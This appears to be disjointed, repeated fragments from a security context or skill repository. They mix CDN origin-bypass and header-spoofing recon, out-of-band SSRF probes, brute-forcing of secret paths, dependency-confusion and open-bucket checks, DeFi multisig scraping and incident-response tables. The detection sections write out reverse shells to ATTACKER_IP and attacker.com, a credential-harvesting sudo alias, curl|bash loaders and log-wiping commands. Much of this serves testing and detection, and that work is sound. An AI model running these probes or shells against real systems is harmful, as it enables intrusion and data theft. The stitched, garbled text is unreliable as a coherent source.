forefy/.context

BASE="https://TARGET"

# 2 baseline a captured request as the privileged user (status + body length) curl -sk -o /dev/null -w '%{http_code} %{size_download}b\n' \

curl -sk -o /dev/null -w '%{http_code} %{size_download}b\n' \

name="${id%%:*}"; rest="${id#*:}"; auth="${rest%%:*}"; cook="${rest#*:}"   printf '%-5s ' "$name"   curl -sk -o /dev/null -w '%{http_code} %{size_download}b\n' \

printf '%-5s ' "$name"   curl -sk -o /dev/null -w '%{http_code} %{size_download}b\n' \     ${auth:+-H "$auth"} ${cook:+-b "$cook"} "$BASE$REQ"

curl -sk -o /dev/null -w '%{http_code} %{size_download}b\n' \

METHOD  = "GET" URL     = "https://TARGET/api/report"

URL     = "https://TARGET/api/report"

url = f"{URL}?{qs}" if qs else URL     data = BODY.encode() if isinstance(BODY, str) else BODY     req = urllib.request.Request(url, data=data, method=METHOD, headers=HEADERS)

data = BODY.encode() if isinstance(BODY, str) else BODY     req = urllib.request.Request(url, data=data, method=METHOD, headers=HEADERS)     with urllib.request.urlopen(req, context=ctx) as r:

req = urllib.request.Request(url, data=data, method=METHOD, headers=HEADERS)

with urllib.request.urlopen(req, context=ctx) as r:

3. **CT lookup (free, no key, no brute).** One `curl` to crt.sh and certspotter for `*.domain`: enumerates subdomains and the host's own cert history. Flag any subdomain resolving to a non-edge IP; a Let's Encrypt / self-issued cert scoped 

4. **Fingerprint every non-edge IP.** `dig -x` (reverse DNS), `whois` (ASN/hosting org), `curl` banner, `openssl s_client` cert CN/SAN/issuer. Reveals the hosting footprint even when the box isn't the origin. 5. **Host-confusion.** `curl --

5. **Host-confusion.** `curl --resolve target:443:<IP>` with the target Host + SNI against each non-edge IP; compare title/body/length to the real fronted response. Same content = origin bypass; different (default vhost) = not the origin.

6. **Response-header & error-page leak.** `curl -I` the target and a bogus path; inspect `Via`, `X-Cache`, `X-Served-By`, `X-Backend-Server`, `Server`, `X-Powered-By`, redirect `Location`, and verbose error bodies for internal hostnames or 

7. **Client-IP header trust.** Send `X-Forwarded-For`, `X-Real-IP`, and the edge's own client-IP header (Step 0) = `127.0.0.1`; compare responses. Bypasses IP allowlist/geo/rate-limit logic - not the origin. A hardened edge rejects a client

8. **Edge header tricks.** `X-Forwarded-Host`, `X-Original-URL`, blank/mismatched `Host` - test for cache/redirect poisoning, routing bypass, and header reflection in links. 9. **Confirm candidate origin.** For any candidate IP from steps 2

9. **Confirm candidate origin.** For any candidate IP from steps 2/3/4: `curl -skI --resolve target:443:<IP>`. If it returns the target app and isn't firewalled to the edge ranges, it's a full bypass.

10. **Port check on a confirmed origin.** `nc -z` the non-HTTP services the edge never proxies (SSH/22, k8s API/6443, kubelet/10250, DB/admin ports).

for t in A AAAA CNAME TXT MX SOA SRV CAA; do echo "$t: $(dig +short TARGET $t | tr '\n' ' ')"; done; dig +short _dmarc.DOMAIN TXT # 3 CT lookup (subdomains + cert history, no key) curl -s "https://crt.sh/?q=%25.DOMAIN&output=json" | python3

# 3 CT lookup (subdomains + cert history, no key) curl -s "https://crt.sh/?q=%25.DOMAIN&output=json" | python3 -c "import sys,json;print('\n'.join(sorted({n for x in json.load(sys.stdin) for n in x['name_value'].split(chr(10))})))" curl -s 

curl -s "https://crt.sh/?q=%25.DOMAIN&output=json" | python3 -c "import sys,json;print('\n'.join(sorted({n for x in json.load(sys.stdin) for n in x['name_value'].split(chr(10))})))"

curl -s "https://crt.sh/?q=%25.DOMAIN&output=json" | python3 -c "import sys,json;print('\n'.join(sorted({n for x in json.load(sys.stdin) for n in x['name_value'].split(chr(10))})))"

curl -s "https://api.certspotter.com/v1/issuances?domain=DOMAIN&include_subdomains=true&expand=dns_names" | python3 -c "import sys,json;[print(n) for x in json.load(sys.stdin) for n in x.get('dns_names',[])]" | sort -u

curl -s "https://api.certspotter.com/v1/issuances?domain=DOMAIN&include_subdomains=true&expand=dns_names" | python3 -c "import sys,json;[print(n) for x in json.load(sys.stdin) for n in x.get('dns_names',[])]" | sort -u

dig -x IP +short; whois IP | grep -iE 'orgname|netname|origin|as[0-9]'; echo | openssl s_client -connect IP:443 -servername TARGET 2>/dev/null | openssl x509 -noout -subject -issuer -ext subjectAltName # 5 host-confusion curl -sk --resolve 

# 5 host-confusion curl -sk --resolve TARGET:443:IP https://TARGET/ | python3 -c "import sys,re;h=sys.stdin.read();t=re.search(r'<title>(.*?)</title>',h,re.S);print('title:',t and t.group(1).strip(),'len:',len(h))" # 6 header / error leak

curl -sk --resolve TARGET:443:IP https://TARGET/ | python3 -c "import sys,re;h=sys.stdin.read();t=re.search(r'<title>(.*?)</title>',h,re.S);print('title:',t and t.group(1).strip(),'len:',len(h))"

curl -sk --resolve TARGET:443:IP https://TARGET/ | python3 -c "import sys,re;h=sys.stdin.read();t=re.search(r'<title>(.*?)</title>',h,re.S);print('title:',t and t.group(1).strip(),'len:',len(h))"

# 6 header / error leak curl -sI https://TARGET/ | grep -iE 'via|x-cache|x-served-by|x-backend|server|x-powered|location' curl -sk https://TARGET/nonexistent-$RANDOM | grep -oiE '([0-9]{1,3}\.){3}[0-9]{1,3}|[a-z0-9.-]+\.(internal|local|lan)

curl -sI https://TARGET/ | grep -iE 'via|x-cache|x-served-by|x-backend|server|x-powered|location'

curl -sk https://TARGET/nonexistent-$RANDOM | grep -oiE '([0-9]{1,3}\.){3}[0-9]{1,3}|[a-z0-9.-]+\.(internal|local|lan)'

# 7 client-IP header trust  (swap EDGE_HEADER for the provider's own, from Step 0) for h in "X-Forwarded-For: 127.0.0.1" "X-Real-IP: 127.0.0.1" "EDGE_HEADER: 127.0.0.1"; do echo "[$h] $(curl -sk -o /dev/null -w '%{http_code} %{size_download

for h in "X-Forwarded-For: 127.0.0.1" "X-Real-IP: 127.0.0.1" "EDGE_HEADER: 127.0.0.1"; do echo "[$h] $(curl -sk -o /dev/null -w '%{http_code} %{size_download}b' -H "$h" https://TARGET/)"; done

# 8 edge header tricks for h in "X-Forwarded-Host: evil.example" "X-Original-URL: /admin" "Host: example.com"; do echo "[$h] $(curl -sk -o /dev/null -w '%{http_code} %{size_download}b' -H "$h" https://TARGET/)"; done # 9 confirm candidate o

for h in "X-Forwarded-Host: evil.example" "X-Original-URL: /admin" "Host: example.com"; do echo "[$h] $(curl -sk -o /dev/null -w '%{http_code} %{size_download}b' -H "$h" https://TARGET/)"; done

# 9 confirm candidate origin curl -skI --resolve TARGET:443:CANDIDATE_IP https://TARGET/ | head # 10 port check

curl -skI --resolve TARGET:443:CANDIDATE_IP https://TARGET/ | head

# 10 port check for p in 22 6443 10250 3306 5432 8080 8443; do nc -z -G2 CANDIDATE_IP $p 2>/dev/null && echo "open $p"; done # 11 shared-egress re-front (needs a known ORIGIN_IP + your own account on the SAME CDN)

for p in 22 6443 10250 3306 5432 8080 8443; do nc -z -G2 CANDIDATE_IP $p 2>/dev/null && echo "open $p"; done

# 11 shared-egress re-front (needs a known ORIGIN_IP + your own account on the SAME CDN) #   Cloudflare: in your own free zone add a *proxied* A record  peek.YOURZONE -> ORIGIN_IP, SSL=Full, then: curl -sk -o /dev/null -w '%{http_code}\n' h

curl -sk -o /dev/null -w '%{http_code}\n' https://peek.YOURZONE/   # 2xx/3xx via YOUR edge = victim's edge-range lock bypassed

1. **Confirm a proxy chain exists.** Look for `Via`, `X-Cache`, `Server`, `X-Served-By`, or CDN fingerprints in a normal `curl -I`. A fronted host (Cloudflare/Akamai/Fastly/ALB/nginx) is the interesting case. Note the target and confirm por

res, elapsed = None, None     try:         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)         s.settimeout(timeout)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

[Credential-related source omitted]

curl -sk -o /dev/null -w '%{http_code}\n' \

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

- `:80`  -> `http://host`

- `:443` -> `https://host`

python3 - <<'PY' import urllib.parse, urllib.request, ssl OAST="OAST_HOST"; TARGET="https://host"          # from :443 (use http:// for :80)

import urllib.parse, urllib.request, ssl OAST="OAST_HOST"; TARGET="https://host"          # from :443 (use http:// for :80) UA="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36"

OAST="OAST_HOST"; TARGET="https://host"          # from :443 (use http:// for :80)

"site","html","val","validate","callback","return","page","feed","host","port","to","out","view","dir"] qs=urllib.parse.urlencode({p:f"{p}.{OAST}" for p in params})   # label = the param name req=urllib.request.Request(f"{TARGET}?{qs}",head

qs=urllib.parse.urlencode({p:f"{p}.{OAST}" for p in params})   # label = the param name req=urllib.request.Request(f"{TARGET}?{qs}",headers={"User-Agent":UA}) try: urllib.request.urlopen(req,timeout=10,context=ssl._create_unverified_context

req=urllib.request.Request(f"{TARGET}?{qs}",headers={"User-Agent":UA})

try: urllib.request.urlopen(req,timeout=10,context=ssl._create_unverified_context())

python3 - <<'PY' import urllib.request, ssl OAST="OAST_HOST"; TARGET="https://host"

import urllib.request, ssl OAST="OAST_HOST"; TARGET="https://host" UA="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36"

OAST="OAST_HOST"; TARGET="https://host"

h={x:f"{x.replace('-','').lower()}.{OAST}" for x in hdrs}      # label = flattened header name h["User-Agent"]=UA req=urllib.request.Request(TARGET,headers=h)

h["User-Agent"]=UA req=urllib.request.Request(TARGET,headers=h) try: urllib.request.urlopen(req,timeout=10,context=ssl._create_unverified_context())

req=urllib.request.Request(TARGET,headers=h)

try: urllib.request.urlopen(req,timeout=10,context=ssl._create_unverified_context())

# 2/4 pure-curl one-target param probe (bulk = loop this over the host:port list)

curl -sk -o /dev/null -A "Mozilla/5.0 ... Chrome/102 Safari/537.36" \

"https://host/?dest=dest.OAST_HOST&redirect=redirect.OAST_HOST&url=url.OAST_HOST&uri=uri.OAST_HOST&path=path.OAST_HOST&continue=continue.OAST_HOST&next=next.OAST_HOST&callback=callback.OAST_HOST&feed=feed.OAST_HOST&host=host.OAST_HOST&out=o

# 3  pure-curl one-target header probe

curl -sk -o /dev/null -A "Mozilla/5.0 ... Chrome/102 Safari/537.36" \

-H "Client-IP: clientip.OAST_HOST"              -H "HTTP-X-Forwarderd-For: httpxforwarderdfor.OAST_HOST" \   -H "HTTP-X-Forwarderd-Host: httpxforwarderdhost.OAST_HOST" \   "https://host/"

"https://host/"

# 4  bulk sweep over a host:port list (targets.txt = one host:port per line) while IFS=: read -r host port; do   case "$port" in 80) base="http://$host";; 443) base="https://$host";; *) continue;; esac

while IFS=: read -r host port; do   case "$port" in 80) base="http://$host";; 443) base="https://$host";; *) continue;; esac   curl -sk -o /dev/null -A "Mozilla/5.0 ... Chrome/102 Safari/537.36" \

case "$port" in 80) base="http://$host";; 443) base="https://$host";; *) continue;; esac   curl -sk -o /dev/null -A "Mozilla/5.0 ... Chrome/102 Safari/537.36" \     "$base/?url=${host//./-}-url.OAST_HOST&redirect=${host//./-}-redirect.OAST_

curl -sk -o /dev/null -A "Mozilla/5.0 ... Chrome/102 Safari/537.36" \

For each `domain`, probe management interfaces of RCE-prone stacks across their typical ports, matching a substring in the response body. Cache each port's response and reuse it so overlapping port lists don't re-request. On 80/443 use plai

https://web.archive.org/cdx/search/cdx?url={domain}*&collapse=urlkey&limit=40000&fl=urlkey,timestamp,original,mimetype,statuscode,length&output=json

**Confirm dependency confusion (active-3rdparty).** For each candidate, query the public npm registry (`https://registry.npmjs.org/<name>`, URL-encode a `@scope/name`). If it returns **404 / not found**, the private name is unclaimed on the

# 7 disclosure-path brute (no redirects; flag 2xx that isn't a soft-404) for p in /.git/HEAD /.git/config /.svn /.env /.env.local /.env.production /.npmrc /package.json /config.json /info.php /phpinfo.php /web.config /storage/logs/laravel.l

[Credential-related source omitted]

[Credential-related source omitted]

code=$(curl -sk -o /tmp/b -w '%{http_code}' --max-time 10 "https://TARGET$p")

for pp in "80 / Tomcat" "8080 /login Jenkins" "8080 /console Werkzeug" "443 /jolokia jolokia" "443 / __VIEWSTATE" "443 / Plone"; do   set -- $pp; port=$1; path=$2; sig=$3   for sch in http https; do curl -sk --max-time 5 "$sch://TARGET:$por

set -- $pp; port=$1; path=$2; sig=$3   for sch in http https; do curl -sk --max-time 5 "$sch://TARGET:$port$path" | grep -q "$sig" && echo "$sig on $port ($sch)"; done done

for sch in http https; do curl -sk --max-time 5 "$sch://TARGET:$port$path" | grep -q "$sig" && echo "$sig on $port ($sch)"; done

# 9 Wayback harvest (respect 15/min; back off on 429) curl -s "https://web.archive.org/cdx/search/cdx?url=example.com*&collapse=urlkey&limit=40000&fl=urlkey,timestamp,original,mimetype,statuscode,length&output=json" \

curl -s "https://web.archive.org/cdx/search/cdx?url=example.com*&collapse=urlkey&limit=40000&fl=urlkey,timestamp,original,mimetype,statuscode,length&output=json"   | python3 -c 'import sys,json;[print(r[2]) for r in json.load(sys.stdin)[1:]

curl -s "https://web.archive.org/cdx/search/cdx?url=example.com*&collapse=urlkey&limit=40000&fl=urlkey,timestamp,original,mimetype,statuscode,length&output=json" \

# 10 sourcemap -> node_modules -> npm ownership curl -s https://TARGET/ | grep -oE 'src="[^"]+\.js"' | sed 's/src="//;s/"//' | while read s; do

curl -s https://TARGET/ | grep -oE 'src="[^"]+\.js"' | sed 's/src="//;s/"//' | while read s; do

curl -s "https://TARGET/${s}.map" | python3 -c 'import sys,json;

curl -s "https://TARGET/${s}.map" | python3 -c 'import sys,json;

d=json.load(sys.stdin); [print(x.split("../node_modules/")[1]) for x in d.get("sources",[]) if "../node_modules" in x]' 2>/dev/null; done | sort -u curl -s -o /dev/null -w '%{http_code}\n' "https://registry.npmjs.org/CANDIDATE_PACKAGE"   # 

curl -s -o /dev/null -w '%{http_code}\n' "https://registry.npmjs.org/CANDIDATE_PACKAGE"   # 404 => dependency-confusion-claimable

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

| Picatic API Key | `sk_live_[0-9a-z]{32}` | | Slack Webhook | `https://hooks.slack.com/services/T[a-zA-Z0-9_]{8}/B[a-zA-Z0-9_]{8}/[a-zA-Z0-9_]{24}` | | Stripe API Key | `(s\|r)k_(live\|test)_[0-9a-zA-Z]{24,255}` |

| Picatic API Key | `sk_live_[0-9a-z]{32}` | | Slack Webhook | `https://hooks.slack.com/services/T[a-zA-Z0-9_]{8}/B[a-zA-Z0-9_]{8}/[a-zA-Z0-9_]{24}` | | Stripe API Key | `(s\|r)k_(live\|test)_[0-9a-zA-Z]{24,255}` |

| Slack Webhook | `https://hooks.slack.com/services/T[a-zA-Z0-9_]{8}/B[a-zA-Z0-9_]{8}/[a-zA-Z0-9_]{24}` |

| Slack Webhook | `https://hooks.slack.com/services/T[a-zA-Z0-9_]{8}/B[a-zA-Z0-9_]{8}/[a-zA-Z0-9_]{24}` |

https://raw.githubusercontent.com/DefiLlama/DefiLlama-Adapters/main/projects/treasury/{slug}.js

curl -sL "https://api.llama.fi/protocols" | python3 -c "

curl -sL "https://api.llama.fi/protocols" | python3 -c "

def extract_addresses_from_adapter(slug):     url = f"https://raw.githubusercontent.com/DefiLlama/DefiLlama-Adapters/main/projects/treasury/{slug}"     r = requests.get(url, timeout=10)

url = f"https://raw.githubusercontent.com/DefiLlama/DefiLlama-Adapters/main/projects/treasury/{slug}"     r = requests.get(url, timeout=10)     if r.status_code != 200:

r = requests.get(url, timeout=10)

def get_all_treasury_slugs():     r = requests.get("https://api.llama.fi/protocols", timeout=30)

r = requests.get("https://api.llama.fi/protocols", timeout=30)

If a protocol isn't in DeFiLlama: 1. **GitHub search**: `{protocol} multisig site:github.com` - look for deployed addresses in README or docs 2. **Etherscan labels**: `https://etherscan.io/accounts/label/safe` - labeled Safe accounts

1. **GitHub search**: `{protocol} multisig site:github.com` - look for deployed addresses in README or docs 2. **Etherscan labels**: `https://etherscan.io/accounts/label/safe` - labeled Safe accounts 3. **From known team member**: `GET /api

2. **Etherscan labels**: `https://etherscan.io/accounts/label/safe` - labeled Safe accounts

ethereum  → https://api.safe.global/tx-service/eth/api/v1

polygon   → https://api.safe.global/tx-service/pol/api/v1

arbitrum  → https://api.safe.global/tx-service/arb1/api/v1

optimism  → https://api.safe.global/tx-service/oeth/api/v1

base      → https://api.safe.global/tx-service/base/api/v1

sepolia   → https://api.safe.global/tx-service/sep/api/v1

gnosis    → https://api.safe.global/tx-service/gno/api/v1

avalanche → https://api.safe.global/tx-service/avax/api/v1

bnb       → https://api.safe.global/tx-service/bnb/api/v1

#!/usr/bin/env python3

SAFE_API_BASES = {     "ethereum":  "https://api.safe.global/tx-service/eth/api/v1",

"ethereum":  "https://api.safe.global/tx-service/eth/api/v1",

"polygon":   "https://api.safe.global/tx-service/pol/api/v1",

"arbitrum":  "https://api.safe.global/tx-service/arb1/api/v1",

"optimism":  "https://api.safe.global/tx-service/oeth/api/v1",

"base":      "https://api.safe.global/tx-service/base/api/v1",

"gnosis":    "https://api.safe.global/tx-service/gno/api/v1",

"avalanche": "https://api.safe.global/tx-service/avax/api/v1",

"bnb":       "https://api.safe.global/tx-service/bnb/api/v1",

"sepolia":   "https://api.safe.global/tx-service/sep/api/v1",

DEFILLAMA_PROTOCOLS_URL = "https://api.llama.fi/protocols"

DEFILLAMA_ADAPTER_BASE = "https://raw.githubusercontent.com/DefiLlama/DefiLlama-Adapters/main/projects/treasury/"

url = f"{base}/safes/{address}/"     try:         async with session.get(url, timeout=aiohttp.ClientTimeout(total=15)) as r:

try:         async with session.get(url, timeout=aiohttp.ClientTimeout(total=15)) as r:             if r.status == 404:

async with session.get(url, timeout=aiohttp.ClientTimeout(total=15)) as r:

if r.status == 429:                 await asyncio.sleep(5)                 async with session.get(url, timeout=aiohttp.ClientTimeout(total=15)) as r2:

await asyncio.sleep(5)                 async with session.get(url, timeout=aiohttp.ClientTimeout(total=15)) as r2:                     if r2.status != 200:

async with session.get(url, timeout=aiohttp.ClientTimeout(total=15)) as r2:

url = f"{base}/safes/{address}/multisig-transactions/?limit={limit}&ordering=-nonce"     try:         async with session.get(url, timeout=aiohttp.ClientTimeout(total=20)) as r:

try:         async with session.get(url, timeout=aiohttp.ClientTimeout(total=20)) as r:             if r.status != 200:

async with session.get(url, timeout=aiohttp.ClientTimeout(total=20)) as r:

async with session.get(DEFILLAMA_PROTOCOLS_URL, timeout=aiohttp.ClientTimeout(total=120)) as r:

url += ".js" if "." not in slug else ""     try:         async with session.get(url, timeout=aiohttp.ClientTimeout(total=10)) as r:

try:         async with session.get(url, timeout=aiohttp.ClientTimeout(total=10)) as r:             if r.status != 200:

async with session.get(url, timeout=aiohttp.ClientTimeout(total=10)) as r:

connector = aiohttp.TCPConnector(limit=20, ssl=ssl.create_default_context(cafile=certifi.where()))

async with aiohttp.ClientSession(connector=connector) as session:

External resources: - https://consensys.github.io/smart-contract-best-practices/

- https://consensys.github.io/smart-contract-best-practices/

- https://swcregistry.io/

- https://github.com/ethereum/solidity/blob/develop/docs/security-considerations.rst

* [https://solodit.cyfrin.io/issues/h-01-reentrancy-in-buy-function-for-erc777-tokens-allows-buying-funds-with-considerable-discount-code4rena-caviar-caviar-contest-git](https://solodit.cyfrin.io/issues/h-01-reentrancy-in-buy-function-for-e

* [https://solodit.cyfrin.io/issues/h-01-oracle-price-does-not-compound-code4rena-volt-protocol-volt-protocol-contest-git](https://solodit.cyfrin.io/issues/h-01-oracle-price-does-not-compound-code4rena-volt-protocol-volt-protocol-contest-gi

* [https://solodit.cyfrin.io/issues/h-4-victims-fund-can-be-stolen-due-to-rounding-error-and-exchange-rate-manipulation-sherlock-napier-git](https://solodit.cyfrin.io/issues/h-4-victims-fund-can-be-stolen-due-to-rounding-error-and-exchange-

* [https://solodit.cyfrin.io/issues/h-05-vault-treats-all-tokens-exactly-the-same-that-creates-huge-arbitrage-opportunities-code4rena-yaxis-yaxis-contest-git](https://solodit.cyfrin.io/issues/h-05-vault-treats-all-tokens-exactly-the-same-th

* [https://solodit.cyfrin.io/issues/h-06-incorrect-solidity-version-in-fullmathsol-can-cause-permanent-freezing-of-assets-for-arithmetic-underflow-induced-revert-code4rena-good-entry-good-entry-git](https://solodit.cyfrin.io/issues/h-06-inc

* [https://solodit.cyfrin.io/issues/h-02-eth-gets-locked-in-the-groupcoinfactory-contract-pashov-audit-group-none-groupcoin-markdown](https://solodit.cyfrin.io/issues/h-02-eth-gets-locked-in-the-groupcoinfactory-contract-pashov-audit-group-

* [https://solodit.cyfrin.io/issues/h-02-eth-gets-locked-in-the-groupcoinfactory-contract-pashov-audit-group-none-groupcoin-markdown](https://solodit.cyfrin.io/issues/h-02-update_market-nextepoch-calculation-incorrect-code4rena-canto-canto-

* [https://solodit.cyfrin.io/issues/m-11-unchecked-return-value-of-low-level-calldelegatecall-code4rena-nextgen-nextgen-git](https://solodit.cyfrin.io/issues/m-11-unchecked-return-value-of-low-level-calldelegatecall-code4rena-nextgen-nextge

* [https://solodit.cyfrin.io/issues/lack-of-contract-existence-check-on-delegatecall-may-lead-to-unexpected-behavior-trailofbits-yield-v2-pdf](https://solodit.cyfrin.io/issues/lack-of-contract-existence-check-on-delegatecall-may-lead-to-une

* [https://solodit.cyfrin.io/issues/h-03-result-of-transfer-transferfrom-not-checked-code4rena-spartan-protocol-spartan-protocol-contest-git](https://solodit.cyfrin.io/issues/h-03-result-of-transfer-transferfrom-not-checked-code4rena-sparta

* [https://solodit.cyfrin.io/issues/h-03-attacker-can-gain-control-of-counterfactual-wallet-code4rena-biconomy-biconomy-smart-contract-wallet-contest-git](https://solodit.cyfrin.io/issues/h-03-attacker-can-gain-control-of-counterfactual-wal

* [https://solodit.cyfrin.io/issues/h01-corruptible-storage-upgradeability-pattern-openzeppelin-ribbon-finance-audit-markdown](https://solodit.cyfrin.io/issues/h01-corruptible-storage-upgradeability-pattern-openzeppelin-ribbon-finance-audit

* [https://solodit.cyfrin.io/issues/diamond-proxy-initialize-functions-can-be-called-multiple-times-halborn-polemos-lending-pdf](https://solodit.cyfrin.io/issues/diamond-proxy-initialize-functions-can-be-called-multiple-times-halborn-polemo

* [https://solodit.cyfrin.io/issues/h-07-missing-slippage-checks-code4rena-spartan-protocol-spartan-protocol-contest-git](https://solodit.cyfrin.io/issues/h-07-missing-slippage-checks-code4rena-spartan-protocol-spartan-protocol-contest-git)

* [https://solodit.cyfrin.io/issues/h-04-unbounded-loop-in-\_removenft-could-lead-to-a-griefingdos-attack-code4rena-visor-visor-contest-git](https://solodit.cyfrin.io/issues/h-04-unbounded-loop-in-_removenft-could-lead-to-a-griefingdos-atta

Return a string containing the literal `{id}` substring as required by EIP-1155: for example, `"https://game.example/metadata/{id}.json"`. Clients will substitute the lowercase hex representation of the token ID, zero-padded to 64 character

# single candidate, AWS virtual-host + GCP JSON API NAME=acme-backups curl -s "https://$NAME.s3.amazonaws.com" | grep -qiE 'AccessDenied|NoSuchBucket|IllegalLocationConstraint|AllAccessDisabled' \

NAME=acme-backups curl -s "https://$NAME.s3.amazonaws.com" | grep -qiE 'AccessDenied|NoSuchBucket|IllegalLocationConstraint|AllAccessDisabled' \   && echo "aws: not public" || echo "aws: PUBLIC/exists -> https://$NAME.s3.amazonaws.com"

curl -s "https://$NAME.s3.amazonaws.com" | grep -qiE 'AccessDenied|NoSuchBucket|IllegalLocationConstraint|AllAccessDisabled' \

&& echo "aws: not public" || echo "aws: PUBLIC/exists -> https://$NAME.s3.amazonaws.com" curl -s "https://www.googleapis.com/storage/v1/b/$NAME" | grep -qiE 'does not exist|does not have storage.buckets.get' \   && echo "gcp: not public" ||

curl -s "https://www.googleapis.com/storage/v1/b/$NAME" | grep -qiE 'does not exist|does not have storage.buckets.get' \

### AWS S3 - `https://{name}.s3.amazonaws.com`

- `https://{name}.s3.amazonaws.com`

fail: `AccessDenied`, `NoSuchBucket`, `IllegalLocationConstraintException`, `AllAccessDisabled` - `https://{name}.s3-{region}.amazonaws.com`   fail: `AccessDenied`, `NoSuchBucket`, `PermanentRedirect`, `IllegalLocationConstraintException`, 

- `https://{name}.s3-{region}.amazonaws.com`

### Google Cloud Storage - `https://www.googleapis.com/storage/v1/b/{name}`

- `https://www.googleapis.com/storage/v1/b/{name}`

fail: `The specified bucket does not exist`, `Anonymous caller does not have storage.buckets.get` - `https://{name}.storage.googleapis.com/`   fail: (none - treat any non-error body as a hit; inspect manually)

- `https://{name}.storage.googleapis.com/`

### DigitalOcean Spaces - `https://{name}.{region}.digitaloceanspaces.com`

- `https://{name}.{region}.digitaloceanspaces.com`

### Alibaba OSS - `https://{name}.oss-{region}.aliyuncs.com`

- `https://{name}.oss-{region}.aliyuncs.com`

### Oracle Cloud Object Storage (S3-compat) - `https://{name}.compat.objectstorage.{region}.oraclecloud.com`

- `https://{name}.compat.objectstorage.{region}.oraclecloud.com`

### Vultr Object Storage - `https://{region}.vultrobjects.com/{name}`

- `https://{region}.vultrobjects.com/{name}`

Utilize these knowledge sources: - https://docs.docker.com/develop/dev-best-practices/

- https://docs.docker.com/develop/dev-best-practices/

- https://kubernetes.io/docs/concepts/security/

[Credential-related source omitted]

#!/usr/bin/env python3

for h in inv:         recs = h["imports"]         nc = sum(1 for r in recs if r.get("severity") == "critical")

recs = h["imports"]         nc = sum(1 for r in recs if r.get("severity") == "critical")         nh = sum(1 for r in recs if r.get("severity") == "high")

nc = sum(1 for r in recs if r.get("severity") == "critical")

out = []     out.append("<title>Dylib Hijack Report</title>")     out.append('<link rel="preconnect" href="https://fonts.googleapis.com">')

out.append("<title>Dylib Hijack Report</title>")     out.append('<link rel="preconnect" href="https://fonts.googleapis.com">')     out.append('<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>')

out.append('<link rel="preconnect" href="https://fonts.googleapis.com">')

out.append('<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>')

out.append('<link rel="stylesheet" href="https://fonts.googleapis.com/css2?'

#!/usr/bin/env python3

[Credential-related source omitted]

- If no → proceed T1-only, all sudo commands → `⏭<U+FE0F> SKIP (T1 only - rerun elevated for full coverage)`.

- **Linux** - `pkexec <cmd>` if a polkit agent is running (GUI password dialog, same one-prompt principle). Headless/no GUI: ask the user to run `sudo -v` themselves in their terminal first, then hand off remaining T2 commands to that authe

**Step 2 - Run commands:** Run every applicable check. If T2, sudo commands run normally. If T1, skip sudo commands with the T1-only label. Skip entirely only if binary is genuinely absent (`command -v tool` fails) or requires KEXT/eBPF/SIP

| Unified Logging (`log show`) | No | Yes | Needs sudo |

| Sudo events | No | Yes | |

# These patterns in cron, scheduled tasks, or startup scripts: curl http[s]://... | bash

curl http[s]://... | bash

curl http[s]://... | bash

curl http[s]://... | sh

curl http[s]://... | sh

wget -O- http[s]://... | bash

wget -O- http[s]://... | bash

wget -q http[s]://... -O /tmp/x && chmod +x /tmp/x && /tmp/x

python -c "import urllib; exec(urllib.urlopen('http://...').read())"

python -c "import urllib; exec(urllib.urlopen('http://...').read())"

IEX(New-Object Net.WebClient).DownloadString('http://...')

[Credential-related source omitted]

| Pattern | Severity | Notes | |---------|----------|-------| | `curl \| bash` or `wget \| sh` | Critical | Download and execute |

|---------|----------|-------| | `curl \| bash` or `wget \| sh` | Critical | Download and execute | | `echo "<base64>" \| base64 -d \| bash` | Critical | Encoded payload execution |

| `curl \| bash` or `wget \| sh` | Critical | Download and execute |

| `curl \| bash` or `wget \| sh` | Critical | Download and execute |

| `echo "<base64>" \| base64 -d \| bash` | Critical | Encoded payload execution |

| `echo "<base64>" \| base64 -d \| bash` | Critical | Encoded payload execution | | `python -c "import socket..."` | Critical | Classic Python reverse shell | | `bash -i >& /dev/tcp/IP/PORT 0>&1` | Critical | Bash TCP reverse shell |

| `python -c "import socket..."` | Critical | Classic Python reverse shell | | `bash -i >& /dev/tcp/IP/PORT 0>&1` | Critical | Bash TCP reverse shell | | `nc -e /bin/bash IP PORT` | Critical | Netcat reverse shell |

| `bash -i >& /dev/tcp/IP/PORT 0>&1` | Critical | Bash TCP reverse shell |

| `bash -i >& /dev/tcp/IP/PORT 0>&1` | Critical | Bash TCP reverse shell |

| `nc -e /bin/bash IP PORT` | Critical | Netcat reverse shell |

| `nc -e /bin/bash IP PORT` | Critical | Netcat reverse shell |

| `rm -rf /var/log/` | Critical | Log destruction |

sudo log show --predicate 'eventMessage contains "task_for_pid"' --last 4h --style compact

# These patterns in .bashrc, .bash_profile, .profile, /etc/profile.d/ bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1

bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1

bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1

python -c 'import socket,subprocess,os;...' nc -e /bin/bash ATTACKER_IP PORT ncat ATTACKER_IP PORT -e /bin/bash

nc -e /bin/bash ATTACKER_IP PORT

nc -e /bin/bash ATTACKER_IP PORT

ncat ATTACKER_IP PORT -e /bin/bash

ncat ATTACKER_IP PORT -e /bin/bash

/bin/bash -l > /dev/tcp/ATTACKER_IP/PORT 0<&1 2>&1

/bin/bash -l > /dev/tcp/ATTACKER_IP/PORT 0<&1 2>&1

alias sudo='sudo nc -e /bin/bash attacker.com 4444 &'  # Credential harvesting

alias sudo='sudo nc -e /bin/bash attacker.com 4444 &'  # Credential harvesting

|--------|------------------------|-------| | `rundll32.exe` | `rundll32 \\live.sysinternals.com\...` or `rundll32 javascript:"...\..."` | Should only run local DLLs with known exports | | `regsvr32.exe` | `regsvr32 /s /u /i:http://...` | "

